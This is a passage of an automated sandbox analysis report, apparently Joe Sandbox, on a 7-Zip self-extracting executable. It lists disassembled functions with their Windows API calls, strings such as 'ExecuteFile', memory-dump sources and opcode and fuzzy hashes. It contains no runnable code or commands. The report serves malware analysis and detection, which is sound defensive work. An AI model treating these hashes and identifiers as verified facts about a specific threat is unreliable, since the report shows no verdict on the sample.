API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B2C3
memmove.MSVCRT ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT ref: 00402F84
memcmp.MSVCRT ref: 00402FC1
memmove.MSVCRT ref: 00402FF3

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 004019DF
??2@YAPAXI@Z.MSVCRT ref: 00401A23
??2@YAPAXI@Z.MSVCRT ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT ref: 00414F76
??2@YAPAXI@Z.MSVCRT ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT ref: 0041536E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT ref: 00404117
??3@YAXPAX@Z.MSVCRT ref: 0040411F
??3@YAXPAX@Z.MSVCRT ref: 00404127

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT ref: 00415F9F
??3@YAXPAX@Z.MSVCRT ref: 00415FDE

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT ref: 0041821D
??3@YAXPAX@Z.MSVCRT ref: 00418381

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004011D7
??3@YAXPAX@Z.MSVCRT ref: 004011FD

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00402815
??3@YAXPAX@Z.MSVCRT ref: 00402839

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 0040175A Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00401760
??3@YAXPAX@Z.MSVCRT ref: 00401776

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: b075649f231de9eb948ae6cc86e6b3af4d7c96d89014706d31f654389e5865e8
Instruction ID: 727f3f96c1ea9d64df56d7fdf8b054f85097dd798dff9fcd5129ed1c701011a3
Opcode Fuzzy Hash: b075649f231de9eb948ae6cc86e6b3af4d7c96d89014706d31f654389e5865e8
Instruction Fuzzy Hash: 14E04F366056109FC6249FA2D814D96B3A8EF0972130549AEE8459BA60CB34EC418B84

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004143A1 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004143D6

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction ID: cd62177f8338b91460b71a425ed9147b2bdb3dfef56ead52da7ce74447b44359
Opcode Fuzzy Hash: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction Fuzzy Hash: FEF0903260010CBB9B11AF55C8418FFB76DEF91764704802FFC189B301D679EE8187A4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: FindCloseChangeNotification.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
